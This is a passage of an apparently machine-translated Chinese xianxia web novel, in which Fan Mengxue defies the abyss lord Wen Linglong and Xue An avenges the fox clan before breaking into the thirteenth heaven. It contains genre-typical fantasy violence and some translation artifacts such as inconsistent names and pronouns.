

    Now this image suddenly collapsed.


    How could this not make her feel unacceptable.


    Xue An did not say a word, but watched quietly while holding his shoulders.


    But it was his silent attitude that put great pressure on Mai Chang.


    He saw Luo Lanting walk to Xue An with his own eyes, which shows that the relationship between the two of them should be very unusual.


    If this is not handled well...


    The three hapless bodies are in front of them, but none of them are cold yet!


    "Luoluo, listen to Uncle explain..."


    "Don''t mention this word to me, who are you uncle?" Luo Lanting scolded with raised eyebrows.


    Mai Chang hurriedly closed his mouth.


    At this moment, Mai Lin took a step forward, thumped and knelt on the ground, knocked his head towards Luolan Pavilion.


    The floor was knocked and banged, but Luo Lanting''s sneer was not moved at all.


    After the kowtow, Mai Lin raised his head and said calmly: "Luoluo, don''t say it, I am sorry for your brothers and sisters, now you want to kill or kill anything! I will never say anything!"


    With that said, Mai Lin closed his eyes resignedly.


    "Brother..." Mai Chen shouted with tears on his face.


    Luo Lanting sneered, "Hehe, what? Play this set for me? Moral kidnapping? Do you really think I dare not kill you?"


    Mai Lin closed his eyes and said nothing.


    "Mai Lin, do you know? Your father doesn''t open the door. I actually don''t care at all. After all, he is the head of the Mai family. I don''t ask him what he will do for our brothers and sisters! But you are not the same! You and my brother have a fateful relationship. !"


    Speaking of this, Luo Lanting shouted with a stern voice: "Do you remember what my brother did for you? He saved your life, but you were so cruel and watched him be besieged and beaten by everyone. He vomits blood one after another, but dare not even come out the door?"


    This is the resentment that has accumulated in Luo Lanting''s heart for many years, and once it is vented, it is naturally extremely terrifying.


    Mai Lin did not argue, still closed his eyes with a calm expression on his face.


    Luo Lanting was furious, and he pulled out the dagger he was wearing, and was about to rush forward.


    But at this moment, Mai Chang suddenly fell to his knees, and said sadly: "Girl Lanting, don''t do it yet!"


    Luo Lanting stopped and looked at Mai Chang coldly.


    "What else do you want to say?"


    Mai Chang sighed softly, "Lady Lanting, actually..."


    "Enough father, don''t say it! I owe them to the Luo brothers and sisters, and it has nothing to do with you!" Mai Lin suddenly shouted.


    Mai Chang shook his head, and said with a sad expression: "Lady Lanting, things are not what you think. At that time your brother and sister were chased and Lin''er was going to help, but I stopped him!"


    Luo Lanting stopped, his expression changing.


    Mai Chang continued and said: "I strictly ordered him not to go out at the time. Lin''er refused to agree. I even knelt on the ground and said that if he goes out, I will die in front of him. In this case, he has to Stuck at home!"


    "Why..., why are you doing this?" Luo Lanting whispered softly.


    Mai Chang sighed, "Lady Lanting, I don��t know if you understand the situation at that time. The strong men from the thirteenth floor at that time had already firmly controlled the situation and let out a word. No one can save your brothers and sisters. !"


    "At that time, if our Mai family made a move, then our Mai family would be destroyed! For the sake of the Mai family''s blood, I can only do this!"


    Speaking of this, Mai Chang looked calmly at Luo Lan Ting, "So the culprit is actually me, if you want to kill it, kill me! This is also our Mai family owes your brothers and sisters! But it has nothing to do with Lin''er!"


    Mai Lin was still on the ground, unable to cry.


    Everyone was silent.


    Many of the things that happened at the time were witnesses, so naturally I knew that Mai Chang did not lie.


    Luo Lanting stared at Mai Chang, "Okay! If that''s the case, then take your life!"


    As she said, she raised her hand, and the dagger came out.


    Mai Chang didn''t dodge anything, waiting calmly.


    But at this moment, the dagger rubbed his scalp, and then it was nailed diagonally to the floor.


    Mai Chang was startled.


    At the same time, I saw Luo Lanting turning around, "Well, the Mai family owed my brother has already been paid, since then, we have nothing to do with you! Don''t let me see you again!"


    Mai Chang, Mai Lin and Mai Chen all stared at the distant figure of Luo Lanting.


    Xue An only smiled when he saw this, and then turned and left.


    The next-ranked people followed, hula la la and followed.


    Mai Chang let out a sigh of relief when he saw Xue An leave, but he suddenly got a little chill when he escaped by chance.


    Because he felt that he seemed to miss something.


    The meeting ended with the fall of the Big Three and the return of Luo Lanting.


    But a bigger storm is brewing.


    All those who heard the news were silent.


    Because everyone understands that the sudden appearance of Luo Lan Ting is obviously not just to deal with the Big Three.


    And the human youth who had become a fan is obviously more unusual.


    Could it be said that Paradise Lost, which has been calm for a long time, is about to usher in another shock?


    This is a hidden corner on the thirteenth floor.


    There is a faint fragrance of medicine in the gloomy room There is no light, no sound, as if everything is sleeping.


    At this moment, the door was slightly pushed open, and then a woman walked in.


    "His Royal Highness, the news that I just received, Mo Licheng has fallen, Qingcheng, Lu Hong...all died in battle!"


    When talking about the word war dead, the woman''s voice trembled slightly.


    After a long time.


    Someone slowly turned around in the darkness, and then a deep and scarlet light appeared in the room, illuminating many things.


    It was the light from her eyes.


    And under this blurred light, a glamorous face was also revealed.


    Fan Mengxue!


    long time no see!

 Chapter 1665： Son of the Abyss

    Fan Mengxue''s eyes drooped, looking at the messenger woman quietly, without speaking.


    For a while, the room was terribly quiet.


    The woman lowered her head nervously, silently waiting for her Highness''s response.


    At this moment, I saw a flash of black light in Fan Mengxue''s eyes, and then said in an extremely cold voice: "Since it''s all here, do you still refuse to show up?"


    The woman who reported the news was shocked.


    what happened?


    Who is your Highness talking to?


    Just when she was extremely surprised, a sneer full of playfulness and sarcasm came from behind her.


    "You can see through my disguise, it seems that your injury has healed a lot!"


    Following the voice, a faint figure suddenly appeared in the room.


    This is a man with a cold face and a tall stature.


    Although it was just a virtual image, he could still feel the extraordinary aura of him.


    Especially his eyes, like two black gems tempered with the fire of hell, are full of evil and insidiousness.


    It makes people horrified just by looking at it.


    Seeing this man, the woman reporting her face changed drastically.


    Because this man exists like a nightmare in this thirteenth city.


    At the same time, Fan Mengxue''s life and death enemy.


    The battle a few months ago was led by him and directly caused Fan Mengxue''s body to be seriously injured. He has not recovered until now.


    But the question is how could he suddenly appear here?


    Could it be that this hiding place has also been leaked?


    These thoughts kept flashing in the woman''s mind, causing her to breathe more quickly.


    Fan Mengxue didn''t have any expression on her face, she just said indifferently: "Wen Linglong, you have worked so hard to find here, not just to see how my injury has recovered!"


    "of course not!"


    Speaking of this, Wen Linglong took a deep look at Fan Mengxue. When he saw Fan Mengxue who was still stunning even though he was seriously injured, his eyes couldn''t help showing a greedy look.


    "I think you should already know the news. The city of Moli has been broken by our allied forces, and all of your two generals have been killed! By all accounts, this is the eighteenth city you have lost in the past year. Up!"


    Fan Mengxue did not say a word, because what Wen Linglong said was the truth.


    And her attitude made Wen Linglong even more proud.


    "Next, what you will face is a more severe environment! With the territory you control now, no more than one month at most, it will be levelled by our coalition forces! What kind of desperation will you face then, now Have you ever thought about it?"


    Fan Mengxue was expressionless, "I never thought about it!"


    "Hehe, then I can tell you now that you will become our prisoner, and because of your special physique and appearance, you will even become a plaything for all of us!"


    Wen Linglong''s words were full of indifference, but the scene he described made the woman trembling with horror in her eyes.


    Because in terms of these demons'' means of acting, everything he said is likely to be true!


    Thinking that his most respected Highness would fall into such a miserable situation, the woman who reported the letter was filled with despair.


    But Fan Mengxue still did not move, even without blinking her eyelids, she continued to say in an indifferent tone: "What then?"


    This attitude also made Wen Linglong quite annoyed, but seeing Fan Mengxue''s slender body hidden under the wide clothes, he suppressed it and said with a smile.


    "Then your soul will be imprisoned, your body will become a tool, and then... death will be a luxury to you!"


    Fan Mengxue seemed to be shaken by Wen Linglong''s words.


    Seeing this scene, Wen Linglong couldn''t help but brighten up before his eyes. Even though he was so pitiful, he sighed, "Your Royal Highness, to be honest, that scene is not what I want to see!"


    "Although you and I are in a hostile state, I admire you a lot. Otherwise, in the battle a few months ago, you wouldn''t be hurt just by this point!"


    "Appreciation?" Fan Mengxue sneered slightly.


    "Yes, just appreciate it!" Wen Linglong said very seriously, "You may not believe it. From the first sight of you, I believe you will be my woman!"


    Fan Mengxue leaned on the chair, tapping his fingers on the armrest of the chair unconsciously, and said lightly: "Oh? Why do you see it?"


    "It''s very simple, because I am strong enough!" Wen Linglong stood in the air with his hands in the air, full of invincible aura looking at the world.


    Fan Mengxue sneered.


    Wen Linglong continued: "I am the son of the abyss. According to your human race, I have the strength of a first-class fairy king! And you are a rare dark sacrament in the heavens. As long as the two of us are combined, we will give birth to extremely powerful descendants. Blood! The heavens will look up to our existence at that time!"


    "That''s why we are the most suitable companion! And you will definitely belong to me!"


    After Wen Linglong said these "dominant and awe-inspiring" words, he thought the woman in front of him would be moved.


    Unexpectedly, Fan Mengxue didn''t even raise her eyelids, "But what if I disagree?"


    Wen Linglong stunned slightly, and even sneered sensibly, "Fan Mengxue, I hope you better figure out the current situation! You are already helpless, and failure is only a matter of time. What does it mean for you to continue this way? Huh?"


    "To tell you the truth, if it weren''t for my efforts to persuade you, the Alliance army would have already aggressively attacked. Will it leave you a breathing space for the past few months?"


    "So obediently surrender and become my woman, this is your only way out, otherwise..."


    Wen Linglong sneered The meaning is self-evident.


    What he said was indeed true, because he had indeed coveted Fan Mengxue.


    Whether it is the powerful blood of the dark sacrament or the unparalleled appearance, Wen Linglong is bound to win it.


    More importantly, Fan Mengxue''s character of never bowing his head also gave Wen Linglong a strong desire to conquer.


    And because of this, he will make the coalition forces slowly figure out, and must not act too hastily, wanting to put pressure on Fan Mengxue with this blunt knife cutting meat.


    It wasn''t until Fan Mengxue''s most important Moli City was declared annihilated, that he felt that the time was about to come. Only then did he attach a divine mind to the messenger woman through a secret method, and then walked into this secret base.


    At this moment, after speaking these threatening words both soft and hard, Wen Linglong stared at Fan Mengxue coldly, wanting to see her surrendering.


    But at this moment, Fan Mengxue slowly stood up, and said blankly to Wen Linglong: "In this case, then you can do it! I want to see if you so-called coalition forces can kill me. !"

 Chapter 1666： Tears like rain

    "You..." Wen Linglong''s expression changed suddenly.


    "And... I will never succumb to you, because I only belong to him!"


    When he said the word, Fan Mengxue''s eyes suddenly felt tenderness.


    It seems to miss the same.


    Wen Linglong was startled slightly, Xuan even felt a huge humiliation.


    No one has ever dared to refuse him, especially the other person is the woman he valued, which can''t help making him furious.


    But before he had a seizure, Fan Mengxue lowered her eyes, "I don''t want to listen to his nonsense anymore, let him disappear!"


    As soon as the voice fell, a dagger that was as dark as a black spring came out of Wen Linglong''s chest.


    Wen Linglong''s virtual image then began to disintegrate, but he still roared unwillingly: "Fan Mengxue, you will regret the decision you have made now, I swear!"


    puff!


    The dagger squeezed sharply, the virtual image was completely shattered, and the sound stopped abruptly.


    Everything returned to Ji, the dagger disappeared into the darkness after extinguishing the virtual image of Wen Linglong.


    But the messenger knew that the holder of the dagger must be standing in a corner of the room and looking at herself coldly.


    Although they belonged to the same camp, thinking of the mysterious and unpredictable dark assassin''s weird and brutal methods, the messenger still couldn''t help sweating.


    "Your Highness..." the woman trembled, her face full of shame.


    Fan Mengxue waved his hand, "Needless to say, you are not to blame for this, and the methods of the Son of the Abyss cannot be prevented by you!"


    "The matter of leaving the city..."


    "I see, I have my own way to deal with this matter, you go down first!"


    "Yes!"


    The woman nodded in response, turned and left.


    At this moment, Fan Mengxue stopped her again, "Wait a minute!"


    "What else does your Highness have to order?"


    Fan Mengxue hesitated a little, and said softly, "Don''t tell anyone what happened just now!"


    The woman was startled, then nodded deeply, "Understood!"


    Fan Mengxue nodded, and then sat back on the chair, waving his hand tiredly, indicating that the woman could go.


    Seeing this, a distressed look appeared on the woman''s face. She wanted to say something but didn''t say anything, and finally had no choice but to withdraw.


    When the door was closed gently, Fan Mengxue was the only one left in the house.


    She sat quietly on the chair, her eyes twinkling, as if thinking about something.


    After a long time.


    Fan Mengxue suddenly smiled bitterly, and then whispered softly, "I''m really alone! Is that **** master really dead?"


    "Xiao Rui, how long can we last if you say this?"


    No one responded, only a pair of extremely cold eyes without any emotion emerged in the dark corner.


    "Look at me, knowing that you can''t speak, I actually asked you, is it ridiculous?" Fan Mengxue smiled and said, ridiculously smiling, tears slid down her cheeks.


    There was a flash of light and shadow in the darkness, and then a young girl appeared in front of Fan Mengxue, reaching out and gently wiping the teardrops off her face.


    "Did you know? I am under a lot of pressure now! People are dying every day, but I can''t do anything at all. Now, as long as I close my eyes, it is the people who died in the hands of the abyss!"


    "I don''t know how long I can last, if one day I really can''t hold it, I might collapse first! At that time, you may be tired too!" Fan Mengxue said with a smile.


    The girl didn''t react, but stood quietly in front of her, except for those cold eyes, she looked like an ordinary girl.


    "Xiao Rui, who gave you this name, and what is your history! I wanted to find out these secrets for you, but it''s impossible now!"


    Fan Mengxue picked up this dark assassin who dazzled the thirteen layers of the sky and frightened everyone by accident.


    So until now, Fan Mengxue doesn''t know her origin.


    "Want to hear me tell some stories?"


    Of course Xiao Rui would not respond, except for faithfully fulfilling Fan Mengxue''s orders, the rest was just like a robot.


    "I was the same age as you now, a little girl!"


    Speaking of this, Fan Mengxue''s eyes showed a touch of pain, "You know what! At that time my whole life was dull and dull!"


    "There is no one at home anymore, there are so many malicious words in the school, and even for a whole year, no one has spoken to me, I was completely isolated, and the situation is almost the same as now!"


    "At that time, I was like a weed growing in the darkness. I never knew what light was or when I would be destroyed!"


    "Until one day, he appeared!"


    Speaking of this, a light suddenly appeared on Fan Mengxue''s face, and her tone became almost dreamy.


    "Up to now, I still clearly remember everything that happened that day!"


    "Amidst countless malicious speculations and vicious abuses, he stepped forward and guarded me behind him!"


    "At that time, I looked at his shadow blankly and suddenly felt like I saw the light!"


    "And his arrival also let me know that life can not be so gloomy! And that is the happiest time for me! Even seeing him every day, I am very happy and content!"


    "Sometimes he would send me home. At that time, he always smiled. Although his condition may be worse than mine, he never complained!"


    "At that time, I thought, if I could stay by his side forever, even if he died, I would be willing!"


    "But he didn''t know this, he didn''t even know that I liked him at the time! Hehe, what a fool!"


    Fan Mengxue said with a smile, but tears loomed in her eyes.


    "But at that time I already knew that he would be the only light in my life, so I have to accompany him, even if I die, I will not let go!"


    "Is this ridiculous?"


    Fan Mengxue raised her head and looked at Xiao Rui with full eyes.


    Of course She didn''t expect Xiao Rui to give her any response, but some words were stuck in her heart.


    What''s more, she had already prepared for the worst at this moment, which was a catharsis.


    But at this moment, a divine light suddenly emerged from the void, and then flew into Xiao Rui''s eyebrows in a thunderous manner.


    Xiao Rui was shocked, a glimmer of brilliance suddenly appeared in her eyes, and then a surge of weather appeared on her body.


    The momentum was so powerful that it condensed into a faint imaginary image on top of her head, and she nodded and smiled at Fan Mengxue before dissipating.


    Fan Mengxue stared blankly.


    It wasn''t until this breath had completely disappeared that Fan Mengxue suddenly came back to her senses, and then she covered her mouth tightly with her hand, tears raining down.


    It''s him!


    he came!

 Chapter 1667： Fairy King

    Moli City has become a ruin.


    Wen Linglong opened his eyes abruptly, a look of cruelty appeared on his face.


    His own divine mind clone was mercilessly beheaded. The key is that he heard Fan Mengxue''s words that I only belong to him!


    Who the **** is this?


    Could it be that she already has a man?


    This thought made Wen Linglong''s blue veins appear on his forehead, and his heart was full of crazy killing intent.


    "Why? Is Shao Wen returning without success this time?"


    Following the voice, a woman walked in from the outside, curvingly.


    This woman is tall and proud, she is actually a human woman.


    Hearing the sarcasm in the woman''s words, Wen Linglong sneered, "When did Qiantianyuan begin to care about my personal affairs?"


    That''s right!


    This woman was the disciple of Qiantianyuan who had briefly appeared before learning that Ye Hanshang had re-emerged and had made an appearance in the alchemy **** casting.


    At that time, she wanted to explore the alchemy hell, but Shang Liang, the principal of Qiantianyuan, sent her to Paradise Lost and became a member of the coalition army that encircled Fan Mengxue.


    "Hehe, Shao Wen is really joking, I''m just out of concern among friends!"


    Although he said that, the ridicule on the woman''s face was clear and clear.


    Of course, Wen Linglong would not believe these nonsense, only to see that he stared at the woman deeply, before speaking for a long time.


    "Yi Weiyang, I hope you can figure out who you are talking to now!"


    "Of course, the famous son of the abyss, your Excellency Wen Linglong who has the strength of the immortal king, how dare I not know!" Qi Weiyang said lightly.


    An angry voice loomed in Wen Linglong''s eyes, "Then you dare to talk to me like this? Even if you are the principal of Qiantianyuan, you are just a fairy king. Do you really think I''m afraid that you will not succeed?"


    Qi Weiyang didn''t get angry when he heard this, but looked at Wen Linglong sarcastically, "Young Master Wen, don''t you really think that your Immortal King can be compared with the Immortal King of my house lord?"


    As soon as this sentence came out, Wen Linglong was immediately overwhelmed.


    Because what Qi Weiyang said is indeed the truth.


    This is the way to cultivate, and there are as many rewards as you give.


    Although the abyss race can easily achieve the Immortal King status because of its talent bonus.


    But the gold content of this fairy king cannot be compared with the fairy king of the human race.


    Any fairy king in the human race needs to have the top-notch talent among hundreds of millions of people, and it also needs unparalleled gas luck bonus to achieve it.


    In contrast, these fairy kings in the abyss need more water.


    This is why Qiantianyuan can join the coalition army by only sending one of its disciples.


    Because Shang Liang, the principal of Qiantianyuan, is a genuine human fairy king who has experienced life and death and finally achieved success!


    This kind of strength, not to mention killing Wen Linglong in seconds, at least it must be Wen Linglong''s father to be able to compete with him.


    Seeing Wen Linglong''s fluctuating expression, Qi Weiyang also felt that what he had just said was a bit too rigid.


    After all, the current coalition forces are still dominated by these abyss races, and if they are too stiff, they will not look good on each other''s faces.


    As a result, she moved her eyes and smiled and said with a sly smile: "You and I have come here by orders. You are here to show your face in front of the elders of the family. I want to complete the entrustment of the teacher. They are all in the same camp. , So we should cooperate, not against each other!"


    Wen Linglong was silent, but the arrogant arrogance before was indeed reduced a lot.


    Speaking of which he has been a little too bloated recently.


    After all, once out of the abyss, he was entrusted with a heavy responsibility, and even the thirteen layers of the lost paradise were handed over to him to take care of himself.


    But Qi Weiyang''s words reminded him!


    Almost all the strong in the thirteenth floor are not there, and the elders of his family are far in the abyss. If you want to make some achievements, you really have to rely on the cooperation of everyone.


    Otherwise, if you really messed up this matter, you might never think of going out of the abyss again.


    Qi Weiyang saw Wen Linglong''s thoughts and smiled slightly, "Is that right! And I just want to ask when you can take the other party down this time? After all...We have been delayed because of your strategy. It��s been too long!"


    Speaking of this, Qi Weiyang''s eyes flashed with dangerous light, "If the other party insists on not bowing his head, it is time to harvest!"


    Wen Linglong''s face became cold, "I have my own measure of this matter! But don''t worry, it won''t be long before Fan Mengxue will become my person!"


    "Because the heavens and worlds, as long as it is what I want, it will definitely belong to me!"


    "No exception!!"


    Looking at Wen Linglong''s arrogant face, Qi Weiyang shrugged slightly.


    "Okay! Since Shao Wen is so confident to surrender this woman, then I will wait for the good news!"


    After all, Qie Weiyang turned around and left neatly.


    Wen Linglong looked at her distant back, a dangerous light flashed in his eyes.


    If the lord of your house is here, I might still be afraid of you, but now you yourself, dare to question me?


    When the matter is over, I will let you kneel on the ground obediently and become my slave just like Fan Mengxue!


    Qi Weiyang, who was going away, felt the sinister gaze behind him, but didn''t even turn his head back. He just smiled coldly, and then murmured softly, "Idiot!"


    He has an extraordinary talent since he was a child, and he embarked on the road of practice at a young age. In the end, he became the leading disciple of Qiantian Academy, and of course he didn''t like this domineering Wen Linglong.


    Because he has nothing to do except reborn well.


    This incident is an example.


    Many powerful people have trapped that existence in the abyss.


    In Paradise Lost, it can be said that the overall situation has been determined, and the rest is nothing more than finishing work.


    Therefore, Wen Linglong was assigned this task, purely for leisure gilding.


    It stands to reason that he should firmly grasp this opportunity and complete the task as soon as possible!


    But he never expected that he actually became interested in the female disciple who existed.


    He changed his strategy on his own terms said that he should use power to force Fan Mengxue to give in.


    The result has been delayed until now.


    Isn''t this dude what is it?


    Just when Qie Weiyang was full of contempt for Wen Linglong.


    In that hidden castle, the atmosphere was depressed and dull.


    The battle report from the front line had been sent back, Mo Licheng was lost and the two generals died in battle. This news silenced everyone.


    Many people''s faces showed blankness and despair.


    Because they can''t see the slightest hope ahead.


    The imposing force of the Abyssal Alliance forces is compelling, and he can only retreat steadily.


    In fact, it is a miracle that they can survive until now.


    But at this moment, what the final result will be is something everyone knows well.

 Chapter 1668： Past grievances

    "His injuries have not healed, and the final defeat is unavoidable. It is better to let His Highness leave as soon as possible while there is still a chance! It can be considered as leaving the last line of fire!" A voice suddenly said in the crowd.


    Everyone heard the words in silence, and then nodded in agreement.


    But at this moment, the door of the room was suddenly pushed open, and then Fan Mengxue walked out of it.


    "Your Highness!"


    "Your Highness!"


    Everyone was shocked, and then they greeted each other.


    Fan Mengxue nodded, then took a deep breath, "I heard what you said just now. I am very touched, but I will never leave!"


    "but����."


    "Don''t say anything, and who said we will definitely lose?" At this point, a faint smile appeared on Fan Mengxue''s pale face.


    This is the first time everyone has seen Fan Mengxuexiao since the accident.


    Not only that, at this moment Fan Mengxue exudes a strong confidence.


    This self-confidence also surprised everyone.


    what happened?


    How does your Highness seem to suddenly change into someone!


    Could it be that there is news from the ancestors?


    It would be great if that was the case!


    This idea made a lot of people''s hearts enthusiastic, so they asked quickly.


    "His Royal Highness, is there news from the ancestors?"


    Fan Mengxue shook her head sadly, "Not yet!"


    The flame that had just burned in everyone''s eyes suddenly went out again.


    But Fan Mengxue blinked mysteriously, "But there will be someone coming soon. As soon as he arrives, then all problems...will not be problems!"


    he?


    Who the **** is this?


    Everyone looked at each other and saw the doubt in each other''s eyes, but seeing the confidence of His Highness, many people couldn''t help rekindling hope again.


    Could it be... will anyone really come to save these people?


    Fan Mengxue said of Xue An.


    It''s just that Xue An didn''t leave for the thirteenth floor immediately, but stayed in the high rank temporarily.


    But he didn''t appear in front of anyone, and even the next-ranked people didn''t know where he went.


    This sudden disappearance made many people frightened. After all, there were a lot of eyes on the outside world at this time!


    Where did Xue An go?


    Of course he did not disappear, but entered a mysterious place.


    This is a place full of flames everywhere.


    No time, no space!


    Everything is gone, some are just raging fire demon.


    It was in such a hell-like environment that there was a divine soul suspended in the middle, "enjoying" the scorching heat that was enough to bake everything.


    Under this kind of high temperature, this soul would collapse after a long time.


    But the magic is that when his spirit has just collapsed, he will immediately be reunited by a strange force, and then resurrected again.


    Ever since, the scream of this divine soul is so different.


    It often stops abruptly after a few sounds, and then restarts after the resurrection.


    And how long this torture has passed.


    At this moment, the scorching heat suddenly faded, and even the sky full of flames suddenly converged.


    Then I saw someone walking slowly from a distance.


    At each step, a lotus flower condensed by flames will rise.


    Such a miraculous scene did not attract the attention of this god.


    He just lowered his head quietly, seeming to have collapsed.


    At this moment, Xue An came to the front of the spirit, first looked at the spirit with interest, and then smiled slightly, "Shang Peng, how is this treat?"


    That''s right!


    This soul scorched by flames is Shang Peng.


    And this magical space is in Xue An''s body.


    With the gradual recovery of Xue An''s strength, he can already open up a separate divine mind space in his body.


    And this is one of them.


    Naturally, these flames were specially set by Xue An for Shang Peng.


    Shang Peng still bowed his head.


    It''s not that he doesn''t want to talk, but that he now has his mind collapsed before his body.


    After all, this torture of death and death is not something anyone can bear.


    Xue An smiled when he saw this, then waved casually.


    An inexplicable power of divine thought poured into Shang Peng''s divine soul.


    Shang Peng trembled all over, then slowly raised his head, looking at Xue An blankly.


    It was not until a long time that he fully recovered his consciousness, and then let out a scream of exhaustion.


    "Kill me! Please kill me!"


    At this moment, he no longer wanted to live, and he knew that Xue An would never let him go.


    So he just wanted to die quickly, so as to get rid of the torture that was so crushing.


    Xue Anhao looked at Shang Peng in his spare time, until he became less excited, and then said indifferently: "Why? Can you not bear it with just such a little torture?"


    Shang Peng was almost crying into tears.


    Is this a bit of torture?


    This is more desperate than the most sinister hell!


    So he burst into tears and yelled: "My lord, please kill me! As long as you can end up with me, I will agree to whatever you ask me to do!"


    "Oh? Then I ask you, what is going on in the thirteenth layer of heaven? Who told you to deal with Fan Mengxue?" Xue An said lightly.


    "It''s Wen Linglong!" Shang Peng said immediately.


    "Wen Linglong?"


    "Yes! He is a strong man from the abyss, known as the son of the abyss, and the one who now controls the thirteenth heaven!"


    "Control the thirteen layers of heaven? He is the only one?" Xue An asked immediately after a slight daze.


    "Yes!"


    "Then where did the other strong men go?"


    "I don''t know this! You know, after the incident, the 13th floor was disconnected from other cities. I really don''t know what happened inside! Hey right! There is another person! A human race Woman!" Shang Peng added suddenly.


    "Human woman?"


    "Yes, yes, I remember, she seems to come from a place called... Qiantianyuan!"


    Xue An''s eyes suddenly burst upon hearing the name Qiantianyuan.


    "Are you sure it is Qiantianyuan?"


    "Yes, it''s Qiantianyuan!"


    "This is interesting!" Xue An''s face showed a slight smile, but his eyes were cold.


    He is certainly no stranger to the name of Qiantianyuan .


    Because in the previous life, Xue An had been in contact with this Qiantianyuan before he became immortal.


    And there have been some grievances between the two.


    But after Xue An became the Immortal Venerable later, before he had time to clean up this Qiantianyuan, he fell.


    I didn''t expect to encounter people from Qiantianyuan here this time!


    However, their Qiantianyuan is a large human race. Although the lord is only a fairy king, the background is unfathomable.


    It is such a sect, why is it suddenly mixed with this muddy water into Paradise Lost?


    But whether it''s good or bad, it shows that I am getting closer and closer to my original path of practice!


    This also means that all the friends and enemies from the beginning will be met one by one, and the news of one''s own rebirth will follow.

 Chapter 1669： 1 sword smashed 13 layers

    Shang Peng stared at Xue An in silence, begging for mercy but did not dare to say it.


    For this mysterious human teenager, he is now full of awe.


    At this moment, Xue An raised his head and smiled at him, "Thank you for telling me the news!"


    Shang Peng secretly breathed a sigh of relief, and then said with a smile on his face: "My lord, you are polite, this is what I should do, you..."


    Xue An interrupted him directly, "Is there anything else I want to say before I die?"


    Shang Peng trembled, and a look of horror appeared in his eyes.


    When he was tortured just now, he really wanted to die, but now he has changed his mind.


    After all, ants are still greedy, let alone people!


    I thought that relying on providing information would save you from death, but I didn''t expect that this human youth still wouldn''t let him go.


    So he shouted desperately: "My lord, can''t you spare my life?"


    "Say these words to those innocent monsters who were killed by you!"


    After all, Xue An waved his hand, the flame was born out of thin air, instantly covering Shang Peng''s spirit, before he screamed, he completely burned it into nothingness.


    Shang Peng has experienced this kind of pain countless times, but this time he can no longer be resurrected!


    At this moment, the resentment curse attached to Shang Peng''s body was also resolved, and a series of illusions of fox demon emerged, grateful to Xue Anshen.


    Xue An smiled and waved.


    These virtual images then dissipated.


    But as they dissipated, curses similar to blessings descended on Xue An''s body.


    Xue An knew that this was the retribution of these fox monsters to avenge themselves on their behalf!


    With these blessings, if a fox clan sees it in the future, they will know what you have done, so that you can have all kinds of convenience.


    But I don��t seem to need these things! After all, the relationship between me and the fox clan is pretty good!


    Xue An said silently in his heart, and then turned away.


    But he did not return directly to the outside world, but returned to the Fubao Xiaolou.


    The Fubao Xiaolou is very lively at the moment.


    The two little girls are playing in the air on the growing magic rune koi.


    At this moment, Xue An appeared in the air.


    When the two little girls saw Xue An, they shouted in surprise, "Dad!"


    Then he flew into Xue An''s arms.


    Xue An squinted and hugged the two people and dropped to the ground, so affectionate.


    at the same time.


    An Yan, Hu Ying and Zhang Xiaoyu all came out.


    Hu Ying saw the blessing aura on Xue An''s body at a glance, and couldn''t help but breathe out, "Have you killed that guy?"


    Xue An nodded.


    "Thank you, Brother Xue, for avenging our fox demon clan!" Hu Ying thanked her sincerely.


    Xue An smiled slightly, raised his hand and squeezed her face, "What are you doing so politely to me!"


    Hu Ying didn''t struggle either. Instead, she said solemnly, "This is not because I am polite, but to thank you for those innocent foxes who died tragically!"


    Xue An knew that these fox races had always been united, so he nodded solemnly.


    "I understand!"


    "Husband, what shall we do next? How is Mengxue now?" An Yan asked anxiously.


    Naturally, she already knew the situation of the outside world. When she heard that many powerful men were plotting against Fan Mengxue, she couldn''t help being full of worries.


    "The next step is to go to the thirteenth floor! As for her!" Xue An smiled slightly, "Don''t worry, I have already sent a spiritual protection, so nothing will happen!"


    "That''s good, that''s good!" An Yan breathed a sigh of relief.


    At the same time, the two little girls raised their heads eagerly and asked: "Dad, is Aunt Mengxue really in this place? I miss her so much!"


    "me too!"


    Xue An smiled upon seeing this, "Yes! Your Aunt Mengxue is here, and you will be able to see her soon!"


    "Really?"


    "Yeah! Because this time, I will take you to the thirteenth floor together!"


    When Xue An returned to the outside world with An Yan, two daughters, and Hu Ying and others.


    The people who had been eagerly looking forward to Xue An''s return as soon as possible couldn''t help being shocked.


    No one thought that Xue An had left for such a period of time, and when he came back, he would bring back such a large group of people.


    Especially among them there are two little girls who look exactly the same, like a jade.


    "My lord, this is..." Luo Lanting asked in surprise.


    "Oh, this is my daughter!" Xue An said lightly.


    Click!


    Standing in the crowd, Chong Xulan felt her heart broken when she heard these words.


    It turns out that not only does this adult have a wife, but the child is already so old!


    Especially when Chong Xulan saw An Yan who was standing beside Xue An by Qiao Ran, all her illusions were shattered instantly.


    Although she has always been confident about her appearance, she still feels ashamed when facing the beautiful and superb Anyan.


    Luo Lanting was also slightly surprised, but soon returned to normal, and then asked solemnly, "Sir, when shall we leave for the 13th floor?"


    This is also a big rock in Luolanting''s heart.


    Because of her brother''s death, it was all done by the thirteenth-layer heaven gang. Of course, she engraved her heart with such **** hatred.


    Therefore, after seeing Xue An, he asked impatiently.


    Xue An smiled faintly, "Are you in such a hurry? That''s fine, then let''s leave now!"


    When this remark came out, many people were shocked.


    The second-tier realm master Xiu Ming said in a little astonishment: "But now the thirteenth floor is isolated from other cities. If you want to enter it, you have to..."


    He wanted to say that entering the thirteenth level is not that simple.


    But before the voice fell, Xue An stepped out of the hall, and then raised his hand to cut out with a sword.


    boom!


    An extremely biting sword light spanned tens of millions of miles in a moment, and directly hit the defensive shackles set up on the 13th floor of the sky.


    Bang bang bang!


    With a loud noise, this heavy shackle was cut off by Xue An.


    After doing all this, Xue An lowered his head and smiled fiercely, "What did you just say?"


    Looking fiercely at the thirteen-layer sky that has already opened up, not only the whole body was shocked, and then he shook his head repeatedly.


    "No... it''s all right!"


    "Since it''s okay, then all follow me!"


    Having said that, Xue An raised his hand and hugged Miss Miss, and then took the lead and flew straight to the thirteenth floor.


    Behind him are An Yan and Hu Ying and others.


    The people of the next level looked at each other, and then they flew up and followed closely behind.


    And such a big battle naturally attracted the attention of the entire high-level.


    "What? One sword cut through thirteen layers of heaven? How strong is this young man?"


    "In this way, Paradise Lost is really going to be unsettling!"


    Amid the uproar of the high ranks, Xue An led the crowd and appeared in the thirteenth layer of heaven.

 Chapter 1670： Reunion

    This is a prosperous and decadent world.


    The prosperity is because there are gorgeous palaces and magnificent cities everywhere.


    The collapse was because these cities were all empty, and there were no personal figures.


    "What''s going on? Why are these cities empty?" An Yan asked in surprise.


    Xue An''s eyes flickered, "It''s very simple, because many people have already left!"


    An Yan didn''t understand what it meant, "Leave? Where did you go?"


